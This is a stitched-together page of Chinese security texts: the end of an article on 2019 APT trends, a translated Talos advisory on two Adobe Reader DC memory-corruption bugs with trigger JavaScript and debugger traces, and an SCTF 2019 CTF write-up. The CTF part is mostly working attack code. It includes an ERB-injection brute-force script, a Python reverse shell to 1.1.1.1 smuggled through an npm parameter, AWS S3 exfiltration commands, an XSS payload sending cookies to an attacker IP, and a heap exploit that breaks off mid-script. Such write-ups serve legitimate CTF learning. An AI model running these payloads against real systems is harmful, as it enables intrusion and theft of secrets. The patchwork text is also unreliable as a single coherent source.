还有前不久，零日跟大家分享的伊朗数据破坏恶意软件ZeroCleare，安全团队在追踪其背后的APT组织时，就因编码语言、编码习惯，以及工具代码神似另一个恶意软件，而差点将本属于APT34组织的行动，归因在APT33组织上。
## 六、漏洞威摄化
漏洞常被戏称为“网络军火库”，APT组织自然不会放过这个天然的弹药库。2019年，漏洞利用攻击在APT中越发高频。
（NCSC发布APT组织长期利用VPN漏洞警告）
5月，英国国家网络安全中心（NCSC）发布警告，有APT组织长期利用VPN产品漏洞，向英国和各大国际组织发起攻击，殃及政府、军事、学术、商业和医疗等各领域。
（以色列NSO Group开发并利用WhatsApp漏洞）
不管是陈年漏洞还是新近漏洞，总之是个有用的漏洞，就不会被APT放过，且APT利用漏洞的速度，十分惊人。
## 七、APT攻击武器泛化
谈到这，就不得不提到硬币的另一面。漏洞威慑升级的同时，必然伴随着APT武器泛化。
事到今天，安全研究员都无法忽视一个令人不安的现实：在当今这个时代，网络军火扩散远比核武器扩散简单得多，但没人敢说，网络军火威胁一定比核武器小。
2019年中东地区活跃度最高的黑客组织之一伊朗APT34（Oilrig），就在四月份发生了一系列工具代码悉数泄露曝光事件。
（APT34的工具包的完整文件目录）
APT34（Oilrig）泄露事件只是个开始，不久同样来自伊朗的ATP组织MuddyWater，比APT34还惨，直接从工具泄露转为全网公开信息拍卖。
（公开售卖的MuddyWater服务端源码）
普通人看来，APT组织天书一般的代码包、数据包，在黑客眼中可是最强军火武器的宝藏，而这也进一步催生了APT攻击武器泛化，甚至网络军火民用化的风险的出现。
零日反思
在我们越来越关注APT攻击的背后，是国家间网络安全对抗战愈演愈烈，APT 组织数量增多、攻击对象和攻击范围不断扩大。聚焦政治目的的 APT
组织，多具有国家背景，通过对政治目标进行长久性的情报刺探或发起破坏性攻击；聚焦经济目的的APT 组织主要为牟取经济利益而实施攻击活动。
而面对这种趋势，可以说，只要存在政治目的和经济利益，APT 组织的攻击就不会停止，我们必须时刻以最高的安全意识，应对各种不同的网络风险和攻击。
零日情报局作品
微信公众号：lingriqingbaoju
参考资料：
360安全大脑《盘旋在中亚上空的阴影-黄金雕（APT-C-34）组织攻击活动揭露》
Kaspersky《2019-2020 APT威胁前瞻》
ThaiCERT《APT威胁百科全书》
国家计算机网络与信息安全管理中心范宇倩《浅谈APT组织在网络攻击中的发展演变》
IBM《ZeroCleare恶意软件攻击》 | 社区文章 |
# 针对多个Adobe Acrobat Reader DC漏洞的分析
|
##### 译文声明
本文是翻译文章，文章来源：https://blog.talosintelligence.com
原文地址：<https://blog.talosintelligence.com/2018/05/multiple-acrobat-reader-vulns.html>
译文仅供参考，具体内容表达以及含义原文为准。
## 一、概述
5月15日，Talos发布了关于Adobe Acrobat Reader DC新发现漏洞的详细信息。Adobe Acrobat
Reader是目前最流行、功能最丰富的PDF阅读器，该产品拥有庞大的用户群，是大多数用户系统中的默认PDF阅读器，同时还作为阅读PDF的插件集成到Web浏览器之中。因此，要利用该漏洞，只需要欺骗用户访问恶意网页，或者发送一封特殊构造的电子邮件即可。
在版本号为2018.009.20044的Adobe Acrobat Reader
DC中打开特制的PDF文档时，嵌入在PDF文档中的特定JavaScript脚本可能会导致文档ID字段在一个没有边界的复制操作中被使用，从而造成基于栈的缓冲区溢出。这种基于栈的缓冲区溢出会造成返回地址被覆盖，从而导致任意代码执行的风险。要触发这两个漏洞，前提是被感染用户必须要打开恶意文件，或访问恶意网页。
## 二、Net.Discovery.queryServices远程执行代码漏洞（CVE-2018-4946）
### 2.1 概述
我们使用版本号为2018.009.20044的Adobe Acrobat Reader
DC打开PDF文档时，嵌入在PDF文件中的特定JavaScript脚本可能会导致一个指向先前被释放对象的指针重新被使用。如果攻击者利用该漏洞对内存进行操作，可能会导致敏感内存泄漏或任意代码执行的风险。要触发该漏洞，需要被感染用户打开恶意文件或访问恶意网站。
### 2.2 CVSSv3评分
7.1 – CVSS:3.0/AV:N/AC:H/PR:L/UI:R/S:U/C:H/I:H/A:H
### 2.3 通用弱点枚举（CWE）
CWE-416: Use After Free
### 2.4 漏洞细节
Adobe Acrobat Reader
DC支持在PDF中嵌入JavaScript脚本，从而允许阅读并使用交互式PDF表单。该功能特性为攻击者提供了精确控制内存布局的能力，使其从另一个攻击面实现攻击行为。在受此漏洞影响的PDF文档中执行下面的JavaScript代码时，可以触发一个UAF条件：
try{this.Net.Discovery.queryServices( "", {} ); }catch(e){app.alert(e);}
在启用页堆（Page Heap）的情况下，该行JavaScript代码会导致崩溃：
eax=17a6acb8 ebx=29464fe0 ecx=29464fe0 edx=771f6c74 esi=2a064fd8 edi=2a064fd0
eip=520e2961 esp=0031f01c ebp=0031f02c iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
Annots!PlugInMain+0x9ea60:
520e2961 ff7318 push dword ptr [ebx+18h] ds:0023:29464ff8=????????
0:000>
被ebx指向的内存会被释放，造成该指针无效，从而导致崩溃。要使用Net.Discovery.queryServices方法需要具有特权，默认情况下对该方法的使用会因安全权限不足而被阻止。但是，如果文档来自于可信的来源，那么该方法就能够被执行，并导致崩溃。为触发崩溃，其中第一个参数需要使用无效的服务名称，可以是一个空的字符串。
我们对分配进行追踪，就可以看到ebx中的指针在以前的函数调用中实际是这样使用的。ebx中的指针，实际上来自于分配在Annots!PlugInMain+0x4c01的一个大小为0x30的数组：
0:000> !heap -p -a eax
address 292c2fd0 found in
_DPH_HEAP_ROOT @ 191000
in busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize)
292215b0: 292c2fd0 30 - 292c2000 2000
6b258e89 verifier!AVrfDebugPageHeapAllocate+0x00000229
77276206 ntdll!RtlDebugAllocateHeap+0x00000030
7723a127 ntdll!RtlpAllocateHeap+0x000000c4
77205950 ntdll!RtlAllocateHeap+0x0000023a
62f8ed43 MSVCR120!malloc+0x00000049
55848b02 Annots!PlugInMain+0x00004c01
55848ab1 Annots!PlugInMain+0x00004bb0
55a4ba1b Annots!PlugInMain+0x00207b1a
558e1e29 Annots!PlugInMain+0x0009df28
558e2308 Annots!PlugInMain+0x0009e407
56b4267d EScript!mozilla::HashBytes+0x0004201b
56b275b6 EScript!mozilla::HashBytes+0x00026f54
56b217c2 EScript!mozilla::HashBytes+0x00021160
56b205f0 EScript!mozilla::HashBytes+0x0001ff8e
56b204fb EScript!mozilla::HashBytes+0x0001fe99
56b20442 EScript!mozilla::HashBytes+0x0001fde0
56b09e18 EScript!mozilla::HashBytes+0x000097b6
56b48697 EScript!mozilla::HashBytes+0x00048035
56b4841a EScript!mozilla::HashBytes+0x00047db8
56b47e8d EScript!mozilla::HashBytes+0x0004782b
56b46d7f EScript!mozilla::HashBytes+0x0004671d
56bb622c EScript!double_conversion::DoubleToStringConverter::CreateDecimalRepresentation+0x0005f52d
6023b42f AcroRd32!AIDE::PixelPartInfo::operator=+0x000e3aaf
60179c7d AcroRd32!AIDE::PixelPartInfo::operator=+0x000222fd
601763b1 AcroRd32!AIDE::PixelPartInfo::operator=+0x0001ea31
5ffcd185 AcroRd32!AX_PDXlateToHostEx+0x00159618
5ffcd683 AcroRd32!AX_PDXlateToHostEx+0x00159b16
601799da AcroRd32!AIDE::PixelPartInfo::operator=+0x0002205a
5fc6426f AcroRd32!PDAlternatesGetCosObj+0x0001d51f
5fc2b14b AcroRd32!CTJPEGWriter::CTJPEGWriter+0x000b9c1b
5fba268b AcroRd32!CTJPEGWriter::CTJPEGWriter+0x0003115b
5fba1761 AcroRd32!CTJPEGWriter::CTJPEGWriter+0x00030231
我们在存储最终解引用（Dereference）的指针的dword处，设置一个写入访问断点，这样就可以追溯到其来源：
0:000> ba w 4 292c2ffc
0:000> dd 292c2ffc
0:000> g
Breakpoint 6 hit
eax=29d26fe0 ebx=29d26fe0 ecx=55a494c0 edx=771f6c74 esi=28a2cff8 edi=292c2fd0
eip=55a49408 esp=0018c9e4 ebp=0018ca0c iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
Annots!PlugInMain+0x205507:
55a49408 e86941e0ff call Annots!PlugInMain+0x9675 (5584d576)
0:000> dd 292c2ffc
292c2ffc 29d26fe0 ???????? ???????? ????????
0:000> !heap -p -a 29d26fe0
address 29d26fe0 found in
_DPH_HEAP_ROOT @ 191000
in busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize)
2a3221d4: 29d26fe0 1c - 29d26000 2000
6b258e89 verifier!AVrfDebugPageHeapAllocate+0x00000229
77276206 ntdll!RtlDebugAllocateHeap+0x00000030
7723a127 ntdll!RtlpAllocateHeap+0x000000c4
77205950 ntdll!RtlAllocateHeap+0x0000023a
62f8ed43 MSVCR120!malloc+0x00000049
55848b02 Annots!PlugInMain+0x00004c01
55848ab1 Annots!PlugInMain+0x00004bb0
558e22e7 Annots!PlugInMain+0x0009e3e6
56b4267d EScript!mozilla::HashBytes+0x0004201b
56b275b6 EScript!mozilla::HashBytes+0x00026f54
56b217c2 EScript!mozilla::HashBytes+0x00021160
56b205f0 EScript!mozilla::HashBytes+0x0001ff8e
56b204fb EScript!mozilla::HashBytes+0x0001fe99
56b20442 EScript!mozilla::HashBytes+0x0001fde0
56b09e18 EScript!mozilla::HashBytes+0x000097b6
56b48697 EScript!mozilla::HashBytes+0x00048035
56b4841a EScript!mozilla::HashBytes+0x00047db8
56b47e8d EScript!mozilla::HashBytes+0x0004782b
56b46d7f EScript!mozilla::HashBytes+0x0004671d
56bb622c EScript!double_conversion::DoubleToStringConverter::CreateDecimalRepresentation+0x0005f52d
6023b42f AcroRd32!AIDE::PixelPartInfo::operator=+0x000e3aaf
60179c7d AcroRd32!AIDE::PixelPartInfo::operator=+0x000222fd
601763b1 AcroRd32!AIDE::PixelPartInfo::operator=+0x0001ea31
5ffcd185 AcroRd32!AX_PDXlateToHostEx+0x00159618
5ffcd683 AcroRd32!AX_PDXlateToHostEx+0x00159b16
601799da AcroRd32!AIDE::PixelPartInfo::operator=+0x0002205a
5fc6426f AcroRd32!PDAlternatesGetCosObj+0x0001d51f
5fc2b14b AcroRd32!CTJPEGWriter::CTJPEGWriter+0x000b9c1b
5fba268b AcroRd32!CTJPEGWriter::CTJPEGWriter+0x0003115b
5fba1761 AcroRd32!CTJPEGWriter::CTJPEGWriter+0x00030231
5fb860d4 AcroRd32!CTJPEGWriter::CTJPEGWriter+0x00014ba4
5fb85688 AcroRd32!CTJPEGWriter::CTJPEGWriter+0x00014158
这个0x1c内存块随后被释放，但在后面会被重新使用，从而导致崩溃：
(c20.5e8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=17d2acb8 ebx=29d26fe0 ecx=29d26fe0 edx=771f6c74 esi=292c2fd8 edi=292c2fd0
eip=558e2961 esp=0018eee8 ebp=0018eef8 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
Annots!PlugInMain+0x9ea60:
558e2961 ff7318 push dword ptr [ebx+18h] ds:0023:29d26ff8=????????
0:000> dd ebx
29d26fe0 ???????? ???????? ???????? ????????
29d26ff0 ???????? ???????? ???????? ????????
29d27000 ???????? ???????? ???????? ????????
29d27010 ???????? ???????? ???????? ????????
29d27020 ???????? ???????? ???????? ????????
29d27030 ???????? ???????? ???????? ????????
29d27040 ???????? ???????? ???????? ????????
29d27050 ???????? ???????? ???????? ????????
在禁用页堆（Page Heap）的情况下，这种指针解引用通常会成功，并且导致进一步的内存损坏（Memory
Corruption）。通过适当的内存布局操作，可以对其实现滥用，并实现任意代码执行。
请注意，为了让此PoC触发内存损坏，需要将PoC文件添加到首选项中的“安全Security（增强Enhanced）”中的受信任列表。
### 2.5 时间线
2018年1月23日 向厂商提交漏洞
2018年5月15日 公开发布
### 2.6 贡献者
该漏洞由思科Talos团队的Aleksandar Nikolic发现。
## 三、ANFancyAlertImpl远程执行代码漏洞（CVE-2018-4947）
### 3.1 概述
我们使用版本号为2018.009.20044的Adobe Acrobat Reader
DC打开PDF文档时，嵌入在PDF文件中的特定JavaScript脚本可能会导致一个指向先前被释放对象的指针重新被使用。如果攻击者利用该漏洞对内存进行操作，可能会导致敏感内存泄漏或任意代码执行的风险。要触发该漏洞，需要被感染用户打开恶意文件或访问恶意网站。
### 3.2 CVSSv3评分
6.8 – CVSS:3.0/AV:N/AC:L/PR:H/UI:R/S:U/C:H/I:H/A:H
### 3.3 通用弱点枚举（CWE）
CWE-908: 使用未经初始化的资源
### 3.4 漏洞细节
Adobe Acrobat Reader
DC支持在PDF中嵌入JavaScript脚本，从而允许阅读并使用交互式PDF表单。该功能特性为攻击者提供了精确控制内存布局的能力，使其从另一个攻击面实现攻击行为。
在执行一段JavaScript代码时，可能会由于某种特殊情况而导致内存损坏。在这里我们需要指出，下面的这三行都需要更高权限执行，也就是说它们必须要在受信任的PDF文件中执行：
var a = this.Collab.drivers;
this.SetRSSMethods( );
this.ANFancyAlertImpl(this);
在调用ANFancyAlertImpl(this)时，将会分配一个内存对象。指向此对象的指针后续会传递给其他函数，但并不会对其进行初始化。这一问题将导致同一内存区域的先前内容未被定义，从而导致内存损坏，最终导致存在任意代码执行的风险。
对象中两个指针最后被用作memcpy调用中的第二个参数，这样就很容易被利用，导致出现基于堆的缓冲区溢出：
(660.8f0): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
DCReaderplug_insAnnots.api
Reader DCReaderplug_insAnnots.api -
eax=81818180 ebx=c0c0c0c0 ecx=c0c0c0c0 edx=c0c0c0c0 esi=c0c0c0c0 edi=36dbafe0
eip=645ff26d esp=001ac70c ebp=001ac738 iopl=0 nv up ei pl nz na po cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00210203
MSVCR120!memcpy+0x2a:
645ff26d f3a4 rep movs byte ptr es:[edi],byte ptr [esi]
0:000> k
# ChildEBP RetAddr
00 001ac710 7748e62e MSVCR120!memcpy+0x2a [f:ddvctoolscrtcrtw32stringi386memcpy.asm @ 188]
WARNING: Stack unwind information not available. Following frames may be wrong.
01 001ac738 7748e5a2 Annots!PlugInMain+0xa72d
02 001ac760 7748e3c6 Annots!PlugInMain+0xa6a1
03 001ac770 776412e1 Annots!PlugInMain+0xa4c5
04 001ac780 774f7258 Annots!PlugInMain+0x1bd3e0
05 001ac7ac 570bd6b2 Annots!PlugInMain+0x73357
06 001ac81c 570c1c35 EScript!mozilla::HashBytes+0x2d050
07 001ac84c 5709387b EScript!mozilla::HashBytes+0x315d3
08 001ac8dc 570932df EScript!mozilla::HashBytes+0x3219
09 001ac8f8 570bd21d EScript!mozilla::HashBytes+0x2c7d
0a 001ac944 570bd1b0 EScript!mozilla::HashBytes+0x2cbbb
通过回溯几个函数调用，我们可以发现memcpy参数的来源：
0:000> bp Annots!PluginMain+0x1bd3db b
breakpoint 0 redefined
0:000> g
Breakpoint 0 hit
eax=267eef94 ebx=00000000 ecx=0030c438 edx=77898090 esi=1f266fc0 edi=2902efb8
eip=776412dc esp=0030c414 ebp=0030c41c iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200246
Annots!PlugInMain+0x1bd3db:
776412dc e8cdd0e4ff call Annots!PlugInMain+0xa4ad (7748e3ae)
0:000> u eip-1
Annots!PlugInMain+0x1bd3da:
776412db 50 push eax
776412dc e8cdd0e4ff call Annots!PlugInMain+0xa4ad (7748e3ae)
776412e1 8b4508 mov eax,dword ptr [ebp+8]
776412e4 8be5 mov esp,ebp
776412e6 5d pop ebp
776412e7 c20400 ret 4
776412ea 55 push ebp
776412eb 8bec mov ebp,esp
0:000> dd poi(eax)
26a5efe8 c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0
26a5eff8 c0c0c0c0 c0c0c0c0 ???????? ????????
26a5f008 ???????? ???????? ???????? ????????
26a5f018 ???????? ???????? ???????? ????????
26a5f028 ???????? ???????? ???????? ????????
26a5f038 ???????? ???????? ???????? ????????
26a5f048 ???????? ???????? ???????? ????????
26a5f058 ???????? ???????? ???????? ????????
0:000> !heap -p -a poi(eax)
address 26a5efe8 found in
_DPH_HEAP_ROOT @ 61000
in busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize)
26954750: 26a5efb8 48 - 26a5e000 2000
6ac68e89 verifier!AVrfDebugPageHeapAllocate+0x00000229
77276206 ntdll!RtlDebugAllocateHeap+0x00000030
7723a127 ntdll!RtlpAllocateHeap+0x000000c4
77205950 ntdll!RtlAllocateHeap+0x0000023a
6326ed43 MSVCR120!malloc+0x00000049 [f:ddvctoolscrtcrtw32heapmalloc.c @ 92]
6326ee1c MSVCR120!operator new+0x0000001d [f:ddvctoolscrtcrtw32heapnew.cpp @ 59]
7748a048 Annots!PlugInMain+0x00006147
7748a00b Annots!PlugInMain+0x0000610a
7748daea Annots!PlugInMain+0x00009be9
774890a1 Annots!PlugInMain+0x000051a0
7748f546 Annots!PlugInMain+0x0000b645
774a5069 Annots!PlugInMain+0x00021168
7763d75e Annots!PlugInMain+0x001b985d
515db634 EScript!mozilla::HashBytes+0x0004afd2
515db51f EScript!mozilla::HashBytes+0x0004aebd
7763d6ab Annots!PlugInMain+0x001b97aa
774a5069 Annots!PlugInMain+0x00021168
7763d75e Annots!PlugInMain+0x001b985d
515db634 EScript!mozilla::HashBytes+0x0004afd2
515db51f EScript!mozilla::HashBytes+0x0004aebd
7763d6ab Annots!PlugInMain+0x001b97aa
774a5069 Annots!PlugInMain+0x00021168
774a4f71 Annots!PlugInMain+0x00021070
7762aaa2 Annots!PlugInMain+0x001a6ba1
7762aad8 Annots!PlugInMain+0x001a6bd7
77626588 Annots!PlugInMain+0x001a2687
7762af80 Annots!PlugInMain+0x001a707f
51f8ab90 AcroRd32!AIDE::PixelPartInfo::operator=+0x000e3210
515d267d EScript!mozilla::HashBytes+0x0004201b
515b75b6 EScript!mozilla::HashBytes+0x00026f54
515b17c2 EScript!mozilla::HashBytes+0x00021160
515b05f0 EScript!mozilla::HashBytes+0x0001ff8e
在上面的调试日志中，我们在Annots!PluginMain+0x1bd3db处中断，发现eax作为参数传递给函数调用，其指向新分配的和未初始化的缓冲区。在启用页堆（Page
Heap）的情况下，分配内存中的内容会被填充为0xc0c0c0c0。
在内存损坏后，代码和内存布局恰好符合漏洞利用者所需的要求，只需要调整环境变量的大小和内容，即可轻松控制eip：
# set AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=AAAAAAAAAAAAAAAAAAAAAAAA....
# cdb "c:Program FilesAdobeAcrobat Reader DCReaderAcroRd32.exe" "c:UsersuserDesktopjs_memcpy_min.pdf"
Microsoft (R) Windows Debugger Version 10.0.15063.468 X86
Copyright (c) Microsoft Corporation. All rights reserved.
CommandLine: "c:Program FilesAdobeAcrobat Reader DCReaderAcroRd32.exe" "c:UsersuserDesktopjs_memcpy_min.pdf"
Symbol search path is: srv*
Executable search path is:
ModLoad: 013b0000 015d5000 AcroRd32.exe
ModLoad: 771b0000 772f2000 ntdll.dll
ModLoad: 75d80000 75e55000 C:Windowssystem32kernel32.dll
ModLoad: 75340000 7538b000 C:Windowssystem32KERNELBASE.dll
ModLoad: 75690000 75759000 C:Windowssystem32USER32.dll
ModLoad: 75400000 7544e000 C:Windowssystem32GDI32.dll
ModLoad: 75f50000 75f5a000 C:Windowssystem32LPK.dll
ModLoad: 75450000 754ed000 C:Windowssystem32USP10.dll
ModLoad: 758d0000 7597c000 C:Windowssystem32msvcrt.dll
ModLoad: 75f60000 76001000 C:Windowssystem32ADVAPI32.dll
ModLoad: 761b0000 761c9000 C:WindowsSYSTEM32sechost.dll
ModLoad: 75550000 755f2000 C:Windowssystem32RPCRT4.dll
ModLoad: 75a40000 75a97000 C:Windowssystem32SHLWAPI.dll
(8b0.3f8): Break instruction exception - code 80000003 (first chance)
eax=00000000 ebx=00000000 ecx=001bf42c edx=771f6c74 esi=fffffffe edi=00000000
eip=772505d9 esp=001bf448 ebp=001bf474 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
ntdll!LdrpDoDebuggerBreak+0x2c:
772505d9 cc int 3
0:000> g
ModLoad: 75e60000 75e7f000 C:Windowssystem32IMM32.DLL
ModLoad: 753f0000 753f6000 C:Windowssystem32NSI.dll
(8b0.3f8): C++ EH exception - code e06d7363 (first chance)
ModLoad: 74f60000 74fac000 C:Windowssystem32apphelp.dll
ModLoad: 64a70000 64ac1000 c:Program FilesAdobeAcrobat Reader DCReadersqlite.dll
(8b0.3f8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=046503d8 ebx=00000000 ecx=046503d8 edx=06672fc8 esi=03f75478 edi=0656ffe8
eip=41414141 esp=001bc14c ebp=001bc174 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00210206
41414141 ?? ???
启用页堆后的崩溃输出如下：
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
*** WARNING: Unable to verify checksum for c:Program FilesAdobeAcrobat Reader DCReaderplug_insAnnots.api
*** ERROR: Symbol file could not be found. Defaulted to export symbols for c:Program FilesAdobeAcrobat Reader DCReaderplug_insAnnots.api - eax=011716ce ebx=00000002 ecx=011716cc edx=011716cc esi=00000002 edi=37561000
eip=6326f26d esp=0016c6f0 ebp=0016c71c iopl=0 nv up ei pl nz ac po cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00210213
MSVCR120!memcpy+0x2a:
6326f26d f3a4 rep movs byte ptr es:[edi],byte ptr [esi]
0:000> k
ChildEBP RetAddr
0016c6f4 7748e62e MSVCR120!memcpy+0x2a
WARNING: Stack unwind information not available. Following frames may be wrong.
0016c71c 7748e5a2 Annots!PlugInMain+0xa72d
0016c744 7748e3c6 Annots!PlugInMain+0xa6a1
0016c754 776412e1 Annots!PlugInMain+0xa4c5
0016c764 774f7258 Annots!PlugInMain+0x1bd3e0
*** WARNING: Unable to verify checksum for c:Program FilesAdobeAcrobat Reader DCReaderplug_insEScript.api
*** ERROR: Symbol file could not be found. Defaulted to export symbols for c:Program FilesAdobeAcrobat Reader DCReaderplug_insEScript.api - 0016c790 515bd6b2 Annots!PlugInMain+0x73357
0016c800 515c1c35 EScript!mozilla::HashBytes+0x2d050
0016c830 5159387b EScript!mozilla::HashBytes+0x315d3
0016c8c0 515932df EScript!mozilla::HashBytes+0x3219
0016c8dc 515bd21d EScript!mozilla::HashBytes+0x2c7d
0016c928 515bd1b0 EScript!mozilla::HashBytes+0x2cbbb
0016c944 515c1a3e EScript!mozilla::HashBytes+0x2cb4e
0016c960 515c19d5 EScript!mozilla::HashBytes+0x313dc
0016c990 515db61f EScript!mozilla::HashBytes+0x31373
0016c9e4 515db51f EScript!mozilla::HashBytes+0x4afbd
0016c9fc 7763d6c7 EScript!mozilla::HashBytes+0x4aebd
0016ca3c 774a5069 Annots!PlugInMain+0x1b97c6
0016ca5c 774a4f71 Annots!PlugInMain+0x21168
0016ca9c 7763d663 Annots!PlugInMain+0x21070
0016cadc 774a5069 Annots!PlugInMain+0x1b9762
0016cafc 7763d75e Annots!PlugInMain+0x21168
0016cb2c 515db634 Annots!PlugInMain+0x1b985d
### 3.5 时间线
2018年1月23日 向厂商提交漏洞；
2018年5月15日 公开发布。
### 3.6 贡献者
该漏洞由思科Talos团队的Aleksandar Nikolic发现。
## 四、已知漏洞版本
Adobe Acrobat Reader DC 2018.009.20044 | 社区文章 |
稍微打一波小广告，SU战队长期招人，无论您是小白，大佬，只要乐于分享，愿意交流，我们永远欢迎您的加入。我们可以一起打比赛，一起交流技术，一起为冲击全国甚至国际重要赛事前列而努力。我们的战队成员主要来自五湖四海，还有非常厉害的
**郁离歌** ， **郁离歌** ， **郁离歌**
，（这里的话竟然自己会动！）划重点！！（问：跟郁离歌打比赛是一种什么体验？答：只要花心思想自己怎么躺最舒服就行了！）我们乐于交流，乐于分享，乐于为自己的战队做努力，有着一致的目标。所以，如果有师傅想来一起交流，一起学习进步，一起打比赛的话，加入我们没有
**地区年级** 等任何限制，我们非常欢迎师傅或者团体的加入！欢迎联系：suers_xctf#126.com
以下是我们SU战队本次SCTF 2019的 wp ，再次感谢 Syclover 师傅们的精心准备！
## Web
### flag shop
扫目录发现robots.txt里面有源码路径
<http://47.110.15.101/filebak> 有源码
漏洞点在 `/work`
get "/work" do
islogin
auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }
auth = auth[0]
unless params[:SECRET].nil?
if ENV["SECRET"].match("#{params[:SECRET].match(/[0-9a-z]+/)}")
puts ENV["FLAG"]
end
end
if params[:do] == "#{params[:name][0,7]} is working" then
auth["jkl"] = auth["jkl"].to_i + SecureRandom.random_number(10)
auth = JWT.encode auth,ENV["SECRET"] , 'HS256'
cookies[:auth] = auth
ERB::new("<script>alert('#{params[:name][0,7]} working successfully!')</script>").result
end
end
应该是个 ruby erb 模版注入，但是在
ERB::new("<script>alert('#{params[:name][0,7]} working successfully!')</script>").result
这里只能执行7个，一般模版注入的方式是`<%=7*7%>`远超过7个可用的地方。
猜是不是可以用`<%%>`构造什么命令来，`SECRETKEY`长度为24位，应该不太可能弄得出来，意味着不能通过正常的`buy flag`来拿到 flag
。
就剩下去利用这些去读取`ENV`了
然后发现 ruby 的全局变量, 可以用 $~ 读取刚刚匹配的子串, 加上 <%=%> 刚好 7 字符, 因为 `params[:SECRET]` 可控,
可以来爆破 `ENV["SECRET"]`,
import requests
table = '1234567890abcdef'
url = 'http://47.110.15.101/work'
data = {
"name": "<%=$~%>",
"do": "<%=$~%> is working"
}
sess = requests.session()
sess.headers['Cookie'] = 'auth=eyJhbGciOiJIUzI1NiJ9.eyJ1aWQiOiIwZmQxMjUzNC1mMmJjLTRhZTUtOTRhNy1kNmUwZWRjMGJkMzEiLCJqa2wiOjEwN30.iI0fcdikWuFxSxYm9LV1dNjCmmID48QZ0c3w-hhyEnw'
'''
#后半部分
key = ''
for _ in range(1000):
for i in table:
tmp = key
tmp += i
data['SECRET'] = tmp
print(tmp)
res = sess.get(url, data=data)
print(res.text)
if tmp in res.text:
key += i
print(key)
break
'''
#前半部分
key = '17b51f7f2588b3d2f09c821e6499984b09810e652ce9fa4882fe4875c8'
for _ in range(1000):
for i in table:
tmp = key
tmp = i + tmp
data['SECRET'] = tmp
res = sess.get(url, data=data)
if tmp in res.text:
key = i + key
print(key)
break
得到 key 以后直接丢到 jwt.io 里面伪造就完事了.
### easy-web
webpack 打包的时候没关 sourcemap, 可以直接看到源码, 发现后台没鉴权, 直接调接口
import requests
data = {
"key": "abcdefghiklmn123",
"npm": ["jquery", '''`python -c "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('1.1.1.1',19132));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/sh','-i']);"`''']
}
res = requests.post('https://sctf2019.l0ca1.xyz/upload', json=data)
弹 shell 回来发现用的 aws 函数服务器. 查了查文档, 在服务器里面可以直接调用 aws api, 找到 bucket 里面的 flag.
node -e 'const AWS = require("aws-sdk");const s3 = new AWS.S3();s3.listObjects({Bucket: "static.l0ca1.xyz"}).promise().then((r)=>{console.log(r)});'
node -e 'const AWS = require("aws-sdk");const s3 = new AWS.S3();s3.getObject({Bucket: "static.l0ca1.xyz", Key: "flaaaaaaaaag/flaaaag.txt"}).promise().then((r)=>{console.log(r)});'
### math-is-fun1 && math-is-fun2
`http://题目地址/challenge?name=xxxx%0ADOMPurify[%27isSupported%27]%3d0&text=<script>window.location%3d"http://ip:5555/"+document.cookie</script>`
利用config[name]处的变量覆盖关闭dompurify即可利用DOM XSS
## Pwn
### easy heap
from pwn import *
context(arch = 'amd64',os='linux')
def add(size):
p.recvuntil('>>')
p.sendline('1')
p.recvuntil('Size')
p.sendline(str(size))
p.recvuntil('0x')
return p.recv(12)
def dele(idx):
p.recvuntil('>>')
p.sendline('2')
p.recvuntil('Index')
p.sendline(str(idx))
def edit(idx,cont):
p.recvuntil('>>')
p.sendline('3')
p.recvuntil('Index')
p.sendline(str(idx))
p.recvuntil('Content')
p.send(cont)
libc = ELF('./libc.so.6')
#p = process('./easy_heap',env={'LD_PRELOAD':'./libc-2.23.so'})
p = remote('132.232.100.67', 10004)
p.recvuntil('0x')
mmap_addr = int(p.recvuntil('\n')[:-1],16)
print hex(mmap_addr)
ptr_addr = int(add(0x100-8),16)#0
info("ptr:0x%x",ptr_addr)
add(0xf8)#1
add(0xf8)#2
edit(0,p64(0)+p64(0xf1)+p64(ptr_addr-0x18)+p64(ptr_addr-0x10)+(0x100-8-16-8-16)*'\x00'+p64(0xf0))
dele(1)
#edit(0,p64(0)+p64(0)+p64(0x200)+p64(ptr_addr-8)+p64(0x90)+p64(ptr_addr+0x30-8)+p64(0)+p64(0x91)+'\x00'*0x80+p64(0x90)+p64(0x91)+'\n')
add(0x80)#1
add(0x80)#3
add(0x80)#4
dele(1)
dele(4)
edit(0,p64(0)+p64(0)+p64(0x200)+p64(ptr_addr-8+0x50)+p64(0x200)+p64(mmap_addr)+p64(0)*2+p64(0x80)+'\x28\n')
edit(3,p64(ptr_addr+0x40)+'\n')
add(128)
a = 0x16# int(raw_input("a"),16)
edit(0,p64(0x200)+'\x20'+chr(a)+'\n')
edit(5,p64(0xfbad3c80)+p64(0)*3+p8(0)+'\n')
p.recvuntil(p64(0)*3)
addr = u64(p.recv(8))
libc_base = addr - (0x7f7af9dfa6e0-0x7f7af9a37000)
print hex(libc_base)
